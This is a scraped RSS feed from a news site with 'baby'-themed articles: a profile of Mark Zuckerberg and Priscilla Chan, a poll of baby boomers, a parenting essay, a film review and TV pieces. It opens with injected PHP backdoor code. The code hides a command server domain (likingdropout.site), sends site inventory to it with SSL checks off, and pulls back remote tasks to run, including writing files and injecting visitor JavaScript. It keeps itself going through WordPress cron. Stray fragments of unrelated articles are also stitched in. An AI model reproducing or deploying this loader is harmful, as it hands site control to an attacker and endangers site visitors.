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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); baby – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 18:55:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png baby – Brief News https://briefnews.eu 32 32 Inside the 19-year relationship of Meta CEO Mark Zuckerberg and Priscilla Chan, who are about to have their 3rd baby together https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/#respond Fri, 23 Sep 2022 18:55:48 +0000 https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ Mark Zuckerberg and Priscilla Chan
Facebook CEO Mark Zuckerberg and Priscilla Chan.

AP Photo/Jeff Chiu

  • Meta CEO Mark Zuckerberg has been married to his wife, Priscilla Chan, since 2012.
  • The couple met during college and have since had two kids together with a third on the way.
  • They've also founded the Chan Zuckerberg Initiative and amassed a real estate empire. 

Meta CEO Mark Zuckerberg may not have gotten an undergrad degree out of Harvard, but he has his time at the university to thank for introducing him to his wife, Priscilla Chan.

The couple met in 2003 at a frat party, and tied the knot in 2012, one day after the IPO of what was then called Facebook.

Over the past two decades, as Zuckerberg has continued to run Meta, the couple founded the Chan Zuckerberg Initiative, pledged millions to philanthropy efforts, started a family, and traveled on vacations abroad, all while buying up big properties in California, Lake Tahoe, and Hawaii.

Here's everything you need to know about the couple, who have been together for nearly 20 years and have two children together — with one more on the way. 

Priscilla Chan and Mark Zuckerberg met in line for the bathroom at a Harvard University party in 2003. Zuckerberg's fraternity, Alpha Epsilon Pi, was hosting a party and Chan, a sophomore student from the Boston area, was there.

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Source: The New Yorker

"He was this nerdy guy who was just a little bit out there," Chan told The New Yorker. "I remember he had these beer glasses that said 'pound include beer dot H.' It’s a tag for C++. It’s like college humor but with a nerdy, computer-science appeal."

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Source: The New Yorker

Chan said that when she first met Zuckerberg, she thought he might get kicked out of school for a prank he pulled: the hot-or-not website ranking the attractiveness of students on campus, called "Facemash," that Zuckerberg notoriously created in his sophomore year at Harvard.

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Mark Zuckerberg celebrated Facebook's fifteenth birthday with a blog post.

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Zuckerberg was also expecting to get kicked out of Harvard when he met Chan. The party was a farewell bash. In his 2017 commencement address at Harvard, Zuckerberg said his opening line to Chan was: "I'm going to get kicked out in three days, so we need to go on a date quickly."

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"Without Facemash, I wouldn't have met Priscilla," Zuckerberg said in his Harvard commencement address in 2017. "She's the most important person in my life, so you could say it was the most important thing I built in my time here."

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Mark Zuckerberg at Harvard's 2017 commencement.

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When Zuckerberg took Chan out for the first time, he told her he'd "rather go on a date with [her] than finish his take-home midterm," Chan said in an interview with the "Today Show" in 2014. "The type-A first child in me was appalled."

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Source: Today Show

Zuckerberg officially dropped out of Harvard in the fall of 2005, after his sophomore year, to focus on building Facebook. He moved out to Palo Alto, California, where Facebook opened its first office.

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Source: Harvard Crimson

In 2007, Chan graduated from Harvard, and Zuckerberg was there to celebrate. Chan then followed him to California, and entered medical school at the University of California, San Francisco in 2008. She rented an apartment near Golden Gate Park, where Zuckerberg would visit her most weekends.

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Students during a graduation ceremony at Harvard University.

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Early on in their relationship, Chan set some strict ground rules because Zuckerberg was so busy with Facebook. Chan required one date per week, and a minimum of 100 minutes of alone time per week not at Facebook.

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In this Sept. 20, 2016 file photo, Facebook CEO Mark Zuckerberg and his wife, Priscilla Chan, smile as they prepare for a speech in San Francisco.

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"They walk in the park, go rowing (he insists that they go in separate boats and race), play bocce or the board game the Settlers of Catan. Sundays are reserved for Asian cuisine," the New Yorker wrote about the couple in 2010.

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Zuckerberg and Chan in 2016.

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Chan was there when Zuckerberg turned down multiple buyout offers, including a $ 1 billion offer from Yahoo in 2006. She told the New Yorker in 2010 that during that time period, Zuckerberg was the most stressed-out that she'd ever seen him.

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Chan and Zuckerberg in China in 2012.

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Source: The New Yorker

While still a med student at UCSF, Chan moved in September 2010 to Zuckerberg's rented house in the College Terrace neighborhood of Palo Alto. He announced the news on — where else — Facebook. "Now we have 2x everything, so if you need any household appliances, dishes, glasses, etc please come by and take them before we give them away," he wrote.

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The "Facebook house" in Palo Alto.

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In May 2011, Zuckerberg and Chan bought a five-bedroom home for $ 7 million in Palo Alto and tricked it out with a "custom-made artificially intelligent assistant." The following year, Zuckerberg bought the four homes surrounding the residence for $ 43 million to allow him to expand his property.

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Zuckerberg and Chan's home in Palo Alto's Crescent Park neighborhood.

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In March 2011, Chan and Zuckerberg adopted a dog, a Puli they named Beast. That same month, the couple finally made their relationship Facebook official.

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A Puli, though not Mark Zuckerberg's Beast.

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In May 2012, Zuckerberg and Chan tied the knot in a surprise wedding ceremony just days after Chan graduated from med school and Zuckerberg took his company public. The couple told guests that the event was a surprise graduation party for Chan, then treated their guests to a wedding ceremony in the backyard of the couple's Palo Alto house.

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Chan and Zuckerberg at the Sun Valley conference in 2013.

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The newlyweds — and newly minted billionaires — spent their honeymoon in Rome, Italy, but had a pretty casual vacation: they were spotted eating McDonald's for a meal while abroad.

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McDonald's fries.

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Not long after returning from their honeymoon, Zuckerberg purchased a townhouse in San Francisco's Dolores Heights neighborhood for $ 10 million. He spent an additional $ 1.6 million to remodel the place. He sold the home in 2022 for $ 31 million.

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Zuckerberg's home is near Dolores Park, in the Mission District of San Francisco.

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Zuckerberg and Chan made a major purchase in October 2014: two properties in Kauai, Hawaii, for more than $ 100 million. They've since added to the estate two more times and now own roughly 1,500 acres in Kauai.

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Kauai, Hawaii.

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Chan finished her medical residency, with a specialty in pediatrics, in June 2015. She then went on to work as a pediatrician at San Francisco General Hospital.

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In July of that year, Zuckerberg announced on Facebook that Chan was pregnant. The couple had been trying for years, but Chan suffered three miscarriages along the way. "It's a lonely experience," Zuckerberg wrote. Chan gave birth to a baby girl that December and the couple named her Max — short for Maxima.

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To celebrate the birth of their daughter, the couple also announced the launch of the Chan Zuckerberg Initiative. The couple pledged to donate 99% of their Facebook shares through the organization. Chan left her role as a pediatrician to run the organization full-time.

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Zuckerberg and Chan embrace during a Chan Zuckerberg Initiative event in 2016.

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The couple announced in 2016 they would invest $ 3 billion of the Chan Zuckerberg Initiative's funds into research for curing the world's diseases. Their goal is to cure all diseases in the lifetime of their daughter, Max.

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Together, the couple have given hundreds of millions to charity. They announced in 2015 they were signing onto the Giving Pledge, a commitment made by billionaires to give away more than half of their wealth during their lifetimes or in their wills.

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Mark Zuckerberg and his wife Priscilla Chan.

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Source: Giving Pledge

Chan and Zuckerberg have also made efforts to support education on both coasts. The Meta CEO made a $ 100 million investment back in 2010 into the struggling school system in Newark, New Jersey, but the effort ultimately failed. In 2015, Chan and Zuckerberg launched their own school, called The Primary School, for students in low-income areas.

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Source: Insider

The couple also donated $ 75 million in 2015 to a San Francisco public hospital, which was then renamed after Zuckerberg. In 2020, the hospital's name was formally condemned by city officials, who accused the couple of tax evasion and Facebook of "endangering public health" by allowing misinformation to spread on its platform.

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San Francisco General Hospital changed its name to Zuckerberg San Francisco General in 2015 after Facebook CEO Mark Zuckerberg and his wife Priscilla Chan donated $ 75 million to the 147-year-old institution.

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Meanwhile, Zuckerberg and Chan welcomed the birth of their second daughter in August 2017, whom they named — appropriately — August. Zuckerberg took two months off work for paternity leave after August's birth.

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Source: Insider

Zuckerberg and Chan have also traveled the world together. Early on in their relationship, they agreed to vacation for two weeks every year overseas. They've taken trips to Dubai, Mumbai, and China, where they visit Chan's family. Zuckerberg spent years learning Mandarin from Chan.

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Mark Zuckerberg and Priscilla Chan walking around Shanghai in March 2012.

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Zuckerberg and Chan took a trip in 2016 to Rome, where they met with Pope Francis at the Vatican. Zuckerberg gave the pope a miniature model of a Facebook solar-powered drone.

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Zuckerberg and Chan added to their real estate portfolio in 2018, secretly dropping $ 59 million to purchase two waterfront estates in Lake Tahoe. Together, the two properties have 600 feet of private waterfront access.

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Lake Tahoe in the winter.

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In December 2019, Zuckerberg and Chan offered a rare glimpse inside their home on "CBS This Morning" as they made challah bread with Max and August.

Gayle King, Priscilla Chan, Maxima Zuckerberg, August Zuckerberg, and Mark Zuckerberg

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Source: Insider

Amid the coronavirus outbreak, the Chan Zuckerberg Initiative formed a COVID-19 task force to help increase the testing abilities of labs in the Bay Area.

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Airport authorities check-up on passengers arriving to Moscow from Beijing and Hong Kong at Sheremetyevo International Airport in Moscow, Russia on February 26, 2020.

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The couple announced in September 2022 that they're expecting their third child together. "Happy to share that Max and August are getting a new baby sister next year!" Zuckerberg wrote on Instagram.

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Priscilla Chan and Mark Zuckerberg.

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Source: Insider

Paige Leskin contributed to an earlier version of this article. Additional reporting from Alyson Shontell.

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]]> https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/feed/ 0 Opponents of old people dominating the government have an unlikely ally: baby boomers https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/ https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/#respond Fri, 23 Sep 2022 18:41:22 +0000 https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/ Group of baby boomers laughing

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  • Baby boomers are unlikely advocates for tearing down the country's gerontocracy, new polling indicates.
  • Baby boomers surveyed by Morning Consult/Insider were wildly in favor of instituting congressional term and age limits.
  • A hefty majority of baby boomers polled also said it would be good if more millenials and Gen Xers were in Congress.

One of the nation's oldest and most-storied generations — baby boomers — is a surprising proponent of tearing down the United States' gerontocracy, according to a new Morning Consult/Insider poll.

Survey results indicate that baby boomers — born between 1946 and 1964 — don't generally think Congress represents its best interests, and the group was quick to support ideas to limit how much influence elder members can have.

Baby boomers were enthusiastic about the idea of instituting an age limit for members of Congress, with nearly eight in 10 baby boomers saying they supported the idea.

 

 

Baby boomers were also wildly in support of adding term limits to members of Congress — nine in 10 respondents said they'd support term limits for members of the House and Senate.

 

 

And despite being on the older side themselves, more than eight in 10 baby boomers also said they think the current age of political leaders in the country was either a "major" or "minor" problem.

 

 

The survey is part of Insider's "Red, White, and Gray" project, which explores the ongoing gerontocracy in the US and its ramifications for a younger generation.

When asked what the generation's most important political issues were, baby boomers said the economy and inflation were the generation's clear top two. But when asked if they thought Congress was in touch with their needs on the two issues, baby boomers didn't hold back.

Seven in 10 baby boomers surveyed said they thought Congress was either "very" or "somewhat out of touch" with the needs of its generation regarding inflation. Nearly seven in 10 said the same about how the legislative body handles the economy. 

 

 

According to an Insider analysis, Congress is as old as it's ever been, with nearly one in four members aged 70 or older.

Additionally, two of Congress' leaders, Speaker of the House Nancy Pelosi and Senate Minority Leader Mitch McConnell, are 80 years old or older and members of the Silent Generation, a cohort whose members were born before the end of World War II.

Polling found that the generation was also in support of more representation of younger generations in Congress.

Three-fourths of baby boomers polled said it would be a "good thing for the country" if more Gen Xers — born between 1965 and 1981 — were represented in Congress.

Two-thirds said the same thing about millennials.

The Insider/Morning Consult survey was conducted from September 8 through September 10, and had 2,210 respondents and a margin of error of +/- 2 percentage points.

 

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]]> https://briefnews.eu/opponents-of-old-people-dominating-the-government-have-an-unlikely-ally-baby-boomers/feed/ 0 I spent years writing about women at work. Then I had a baby — and an existential crisis. https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/#respond Sun, 18 Sep 2022 10:06:31 +0000 https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.
Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.

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  • I'm a careers-and-leadership reporter and I often write about women's experiences at work.
  • When I had a baby, I thought I'd be prepared for the transition to working parenthood. I wasn't.
  • It's challenging to reconcile my personal and professional identities, and I often feel I'm failing.

My husband and I were having a late dinner on our front patio, huddled over a staticky baby monitor, when I told him I wasn't sure about going back to work.

Our son was two months old. That meant it had been roughly a year — if you count a nearly 10-month-long pregnancy — since I'd been truly alone.

The baby and I spent the whole day, every day, together. I would nurse him for what seemed like hours, then he'd fall asleep and I'd hold him because he'd scream when I tried transferring him to his Mamaroo chair. At night, I'd hear him fussing on the monitor and half-consciously reach for him next to me, then panic when I couldn't feel him anywhere until I remembered he was in his bassinet.

In July, I was due to return to work after a four-month maternity leave. Because my job allowed for remote work, I'd arranged for a nanny who had worked for a family friend to watch my son during the day. But I didn't see how I'd be able to let someone else take care of him for that many hours at a time. 

Friends who had toddler-aged kids had told me I'd feel differently by the end of my leave, that I'd be more ready to start working again and to spend time away from the baby. Instead, I told my husband that night on the patio that I was rethinking my decision to start working again.

My husband reminded me of what I'd told him — many times — in the years before we had a kid. I wasn't planning to be a stay-at-home mom; I wanted to keep working. I was afraid to have motherhood subsume my identity. But it had taken four months of maternity leave to undo everything I thought I knew about myself as a professional.

"Now I feel differently," I told my husband. I wanted to be the one to attend to our son's cries, to take him to the park, to sing silly songs while he squirmed on the changing table. I couldn't do any of that, I told my husband, if I had another — paying — job.

The logistical challenges of working parenthood are only the beginning

Early on in the pandemic, I wrote regularly about the challenges of being a working parent, and in particular a working mother. I knew, based on talking with parents and experts, that it could be hard to balance the demands of your job with your kid's daycare schedule and that managers are often biased to see women as less promotable and less dedicated to their careers once they have children.

While writing a book about molding your work life to suit your interests and lifestyle, I spoke with many people about how becoming a parent had changed their approaches to work. Some stuck with a bad job because it paid their family's bills or tried to change careers because having a kid made them want to pursue something more impactful.

So when my husband and I decided to start a family, I assumed that all this knowledge would prepare me for the transition. But I didn't realize that beyond the logistical challenges, there was existential torture. I'm now trying to become the parent I think my kid needs while, at the same time, trying to squeeze myself back into the shape of the professional I think my colleagues are expecting me to be.

I feel like an impostor professional — and parent

When I returned to work, taking my therapist's suggestion to give it a chance, the transition was in many ways smoother than I'd anticipated. My managers gave me time to settle into my new work and home lives before I started publishing anything new. My coworkers asked excitedly about the baby's latest developmental milestones.

Still, I felt a nagging shadow of impostor syndrome, except instead of feeling like I was a fraud at my job, I worried that I'd eventually be exposed as — what? A mom who was relieved to do a few hours of knowledge work because it meant a reprieve from lifting and bouncing and picking up fallen toys with her toes? A professional who sometimes felt like she'd rather be hugging her kid than answering emails? Much of my transition to working parenthood has been like this, an ongoing experiment in self-flagellation and feeling alone.

I'm writing now from the pull-out couch in my son's room, the one on which I've often fallen asleep murmuring "shhh" at 3 a.m. I can hear my son playing happily downstairs with our doting nanny. I feel patently ridiculous sitting up here writing about how hard I find working motherhood when I have the extreme privilege of full-time childcare, a spacious home, and family nearby — as well as a job that allows me to work slumped over a pillow in ripped leggings.

I'm ashamed, too, that the trouble is solely with me. For all the time I spend questioning whether this setup — me working from home, my husband working from the office, a nanny taking care of our son for part of the day — is the best for our family, my son appears perfectly content most of the time. Not to mention that even if staying home would assuage some of my guilt, giving up my full-time salary would make it harder for me to offer my son all the opportunities I'd like to. 

This self-deprecating cycle has slowed, but hasn't stopped over the last two months I've been back at work. I find the only respite in doing whatever I'm supposed to be doing at the moment: reporting a story, responding to Slacks, feeding my son, laundering a load of onesies, knowing that eventually my thoughts will catch up with me, but that right now I'm OK.

Lying in front of the TV after my son has gone to bed, I text with girlfriends. I vent, I complain. I learn that my experience is not uncommon. "It gets easier," one tells me. "I promise." I'm not sure I believe her. But I've got a story to write and bottles to wash and, somewhere, the wisdom to know that as far as I may feel from whoever I was before, I am not alone.

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]]> https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/feed/ 0 Baby Ruby Review: Motherhood Is Hell [TIFF] https://briefnews.eu/baby-ruby-review-motherhood-is-hell-tiff/ https://briefnews.eu/baby-ruby-review-motherhood-is-hell-tiff/#respond Mon, 12 Sep 2022 07:20:07 +0000 https://briefnews.eu/baby-ruby-review-motherhood-is-hell-tiff/

Pop culture — at least in the Western world — treats pregnancy and early motherhood as a magical time, when back aches and sleepless nights are a mere inconvenience in what is otherwise a fantastic, love-fuelled, once-in-a-lifetime journey. That is bulls***. And with “Baby Ruby,” Bess Wohl is setting the record straight.

Premiering at the 2022 Toronto International Film Festival, “Baby Ruby” is a tense, visceral psychological thriller that sets out to dismantle everything you think you know about being a mom. Written and directed by Tony-nominated American playwright Bess Wohl, the film centers on the independent, perfectionist, mom-to-be Jo (Noémie Merlant), who branded herself as a chic lifestyle influencer through her successful blog, “Love, Joséphine.” Using the power of the internet — and, let’s face it, her good looks and wealth — Jo has carefully curated an aspirational image for her online followers. She takes it all on herself; taking control of every aspect of her life; she even goes as far as to plan her own baby shower, which she then turns into content for the website. It’s too much. There’s no separation between her life and her work, and it’s a disastrous situation to be in as a new mother. Jo believes she can “do it all.” Every experienced mother in the audience knows she can’t.

In a tight 93 minutes, Wohl both sets up and thoroughly dissembles Jo’s ego, confidence, and seemingly perfect image on screen. We get a female perspective on the psychological and emotional trauma of early motherhood: the loss of one’s sense of self, the strain on one’s mental house, the physical pain, and humiliation. It’s an uncomfortable, yet stylish, depiction of a mental breakdown — think Darren Aronofsky’s “Black Swan” but with a woman on both sides of the lens. 

‘It’s Hell’

To say that “Baby Ruby” is intense would be an understatement. Wohl creates such a feeling of unease that the film verges on intolerable. I was at the edge of my seat for most of the run-time — in part because the cinematography was so unnerving, but also because I couldn’t help but be worried about poor baby Ruby and her deteriorating mother, Jo. Postpartum depression is getting more recognition now, but it’s still a largely misunderstood condition — one that often brings with it feelings of deep shame. Society tells us that “good” mothers love their children and tackle the strains and stress of infant care with ease. But that’s just not what the first few months are like for the vast majority of new parents.

As mother-in-law Doris (Jayne Atkinson) confides in Jo: “It’s hell.”

I did not experience postpartum depression, and to be honest, both my kids were relatively easy babies. Still, I can relate to Jo’s experience in “Baby Ruby.” For years, I would hear an infant crying at night — even when my youngest was well into his toddler years. I remember the pain of bathroom trips post-birth, and the embarrassment of walking around in what felt like a  pillow wrapped around my crotch. I breastfed, and there were times when my nipples were so chapped they bled. Nursing when you’re tired, and you’re sore — it feels like life is being sucked out of you. I was a different person walking into the hospital pregnant than I was when I left with my child, and I’ve never felt that experience has been represented honestly in media — until “Baby Ruby.”

Is It Worth It?

A phrase I heard a lot during my kids’ infancies was “it takes a village.” Although it’s never spoken in “Baby Ruby,” that message is the core thesis this film argues for. Increasingly in our social-media-obsessed culture, we’ve become isolated. We craft images of ourselves online that are too good to be true, and we feel insecure about the impossibly perfect people we follow. It’s a vicious cycle that serves to reinforce insecurities and isolation. Jo doesn’t know how to ask for help, or even recognize that she needs it. As a result, she keeps “failing” to meet her own impossible, self-imposed standards — and she doesn’t have the tools to deal with that.

Ever since my screening, I’ve been wrestling with the actual experience of watching “Baby Ruby.” It was not enjoyable; that isn’t to say that it isn’t compelling, or that I didn’t get anything from it. Quite the contrary — it’s been on my mind since I walked out of that studio. The film has a lot to say, and much of it is poignant and, dare I say, necessary.

There’s the question, “was it worth it?” For me, being a parent was worth the sacrifice, and I think ultimately that’s the message of “Baby Ruby.” In terms of watching the film … I honestly can’t say. I do believe it is a well-crafted film, and I have a deep respect for what Wohl accomplishes. Kit Harington is endlessly charming as Jo’s husband Spencer, and Atkinson nails the quintessential well-meaning but also infuriating mother-in-law. The film’s pacing is relentless though, and for me, some of the clearly symbolic imagery got in the way of telling a cohesive story. Maybe the biggest issue, for me, is that the content hit too close to home. 

I’ll have to watch again to find out.

/Film Rating: 7.5 out of 10

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]]> https://briefnews.eu/baby-ruby-review-motherhood-is-hell-tiff/feed/ 0 8 Tips to Prepare For Your Baby’s Arrival https://briefnews.eu/8-tips-to-prepare-for-your-babys-arrival/ https://briefnews.eu/8-tips-to-prepare-for-your-babys-arrival/#respond Tue, 15 Jun 2021 15:55:03 +0000 https://briefnews.eu/?p=265843 Bringing a new baby home is a very exciting and momentous occasion. At the same time, it is a life-changing event that can be difficult to prepare for. While this can cause anxiety, by following these eight tips you can help ensure that you are fully prepared for this next stage in your life.

Find an OB-GYN

When you find out that you are having a baby, finding an OB-GYN is a very important first step. This doctor will be along with the mother throughout the birth process and will often deliver the baby as well. Due to this, finding one that you trust and is located near home is important.

Know the Hospital’s Arrival Process

Any hospital is used to providing delivery services for many parents on an annual basis. They will likely have a detailed check-in process that may even start weeks before your delivery date. You should ensure that you understand the process and follow it to the best of your ability.

Read Books

Becoming a new parent is a big change in many people’s lives. There are bound to be situations that pop up that you are not prepared for. One great way that you can prepare yourself is by reading books about parenting strategies.

Discuss Parenting Strategies

If you will be sharing the parenting duties with another person, it is important that you are on the same page when it comes to the overall strategy. You should spend time discussing your philosophy on anything that you deem to be important. Having a plan and strategy set up beforehand can always be a good idea.

Have Nursery Set-Up

Having the nursery established and organized on time is also helpful. This should include ensuring that all furniture is built, that clothing and other items are stored in an organized fashion, and that it is decorated the way you want. This will ensure the space is available for use as soon as the baby is home.

Get Car Seat in Place

On the day of the delivery, you will want to ensure that your vehicle is prepared to bring the new baby home. A very important part of this is ensuring that the car seat is in place. The car seat should be sturdy and installed in accordance with the manufacturer’s recommendations. Having it checked out at a local police department or fire station is also a good idea.

Find a Pediatrician

While it is important that you have an OB-GYN in place, you also need to ensure that you have a pediatrician lined up for when the child is born. After your child is born, you will be bringing your kid to the pediatrician regularly for the first year. Due to this, you should make sure that you find one that you trust, has a good reputation, and is conveniently located near your home.

Obtain All Necessary Accessories

As you are looking to prepare for your baby’s arrival, it is also a good idea to ensure that you have all of the accessories in place. Some of these items can include a stroller, baby toys, changing table, black diaper bag backpack, and other items that are used to ensure you stay organized and provide great care. Having these items in place for when the child arrives will always be helpful.

Bringing home a new child is a momentous and life-changing experience. While you are bound to have some amazing memories and experiences with your child, preparing for it can be difficult. By following these eight tips, you can ensure that you are well-prepared for when the child finally arrives.

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” And the crew, and the studio! I mean, lockdown’s been anything but predictable, and we’ve had some really unexpected news.

“Baby number three is on the way!” She laughed as Ronan clapped: “Congratulations to you and Charlie, fabulous news.”

“Aw, thank you,” Alex said, looking delighted. “I’ll need all the tips, we didn’t see that one coming, but we’re delighted.”

Once the show had wrapped up, Alex took to her social media account and posted an image of herself, her husband and two children. 

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ALEX JONES was left explaining to Strictly Come Dancing husband and wife duo Janette Manrara and Aljaz Skorjanec how a “baby news” misunderstanding left her fearing for former’s place on the BBC show.

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Speaking about the two women’s falling out with Entertainment Tonight, actress Chalke joked: “We need a season two because it ends on that cliffhanger.”

She went on to say: “You see them go through so much and some big stuff and they get through it, so it’s got to be something big.”

While Heigl said: “It totally cannot be that Tully sleeps with Johnny after they’re married. It can’t be that because I don’t think any friendship comes back from that.

“If you read the book, it’s in the book what happens, so I feel like I’m giving it away but not giving it away.”

Firefly Lane is streaming on Netflix now

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]]> https://briefnews.eu/does-tully-have-a-baby-in-firefly-lane/feed/ 0 WandaVision: How Baby Yoda Changed the All-at-Once Release Plan — Plus, the Truth About Episode Lengths https://briefnews.eu/wandavision-how-baby-yoda-changed-the-all-at-once-release-plan-plus-the-truth-about-episode-lengths/ https://briefnews.eu/wandavision-how-baby-yoda-changed-the-all-at-once-release-plan-plus-the-truth-about-episode-lengths/#respond Mon, 11 Jan 2021 14:36:47 +0000 https://briefnews.eu/wandavision-how-baby-yoda-changed-the-all-at-once-release-plan-plus-the-truth-about-episode-lengths/

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It is almost time to turn on the WandaVision, with Disney+‘s first live-action Marvel series set to premiere this Friday, Jan. 15. And when it does arrive, it will not be all nine episodes at once, but instead a Mandalorian-like weekly rollout.

“We had discussions about [dropping the season all at once],” Marvel Studios president Kevin Feige tells TVLine, “but everybody at Disney+ had decided — and we very much agreed with — the notion of the fun of week-to-week.”

To be exact, WandaVision (which stars MCU vets Elizabeth Olsen and Paul Bettany as Wanda Maximoff and Vision) will launch with its first two episodes, before going to a once-a-week schedule.

“The Mandalorian has certainly proven this — there’s something fun to be able to follow along, to try to guess what happens next, to have a week speculating or rewatching and building that anticipation,” Feige notes. “Part of the fun, to me, of movies, is the anticipation leading up to it, so it’s fun to get to have a ‘mini-version’ of that every week. And we did build the stories with that in mind, on all of our series.”

“With that said, I think it’ll be another experience — an equally fun experience — to binge them once they’re all available,” Feige adds.

Disney+’s other live-action Marvel series in the pipeline include (but are by no means limited to) Falcon and the Winter Soldier (premiering March 19) and Loki (which is penciled in for May).

Feige also cleared the air for us on WandaVision episode lengths, seeing as the first three episodes screened by the press on Friday all hovered around a half-hour, which frankly makes sense given the way the titular characters’ life is presented via fantastically faithful homages to sitcoms from the 1950s, ’60s and ’70s.

Once the series begins to break away from that creative construct, as the close of Episode 3 most strongly suggests, running times “start to vary more, yes,” Feige assures TVLine.

“That’s one of the fun things about streaming — and even on the shows that I watch, as a fan: You don’t have the rules of network TV and selling ad time, where it has to start now and end now. [Episodes] can grow or shift or shrink or expand to fit the story you’re telling. Even in those first three, the lengths are somewhat different, and that will continue through the rest of the show.” (With reporting by Rebecca Iannucci)

Want scoop on WandaVision, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/wandavision-how-baby-yoda-changed-the-all-at-once-release-plan-plus-the-truth-about-episode-lengths/feed/ 0 The Baby Yoda Question No One Seems to Be Asking — Theories, Have You? https://briefnews.eu/the-baby-yoda-question-no-one-seems-to-be-asking-theories-have-you/ https://briefnews.eu/the-baby-yoda-question-no-one-seems-to-be-asking-theories-have-you/#respond Thu, 26 Nov 2020 11:28:12 +0000 https://briefnews.eu/the-baby-yoda-question-no-one-seems-to-be-asking-theories-have-you/ Baby Yoda. What’s the deal with that kid, right?

Ever since the first episode of Disney+’s The Mandalorian came to a most unexpected close, we and Din Djarin have had many questions about the valuable asset he tracked, found, delivered, reclaimed, and to this day has duly protected.

* What is his (and thus Yoda’s) species called?

* What is the Child’s given name? (Maybe “George”?)

* What is Moff Gideon’s endgame for the Child and his midichlorian-rich blood?

* And where are the rest of Baby Yoda’s kind, whom Mando now seeks?

These are all well and good queries. And who knows, maybe the back half of Season 2 (releasing new episodes every Friday) will at least brush up against a half of a half of an answer to one or more of those mysteries.

But let’s rewind a bit, to that very first episode of TV’s first live-action Star Wars series, and ponder this:

Why had the Child been secreted away — or perhaps abandoned, purposely or not — inside that Arvala-7 encampment in the first place?

That in turn begs its own follow-up questions, such as: Who was tending to the 50-year-old lad during his time there? And while the Nikto mercenaries were determined to fight off/kill any who came seeking the Child, why did none of them turn in the clearly valuable bounty themselves?

The more one revisits the few known facts about the Child’s presence on Arvala-7, the more mysterious it becomes. “Many have passed through” those parts in search of the Child, the Ugnaught Kuiil told Mando when they first met. (And all of the “many” to date had died in their quest.)

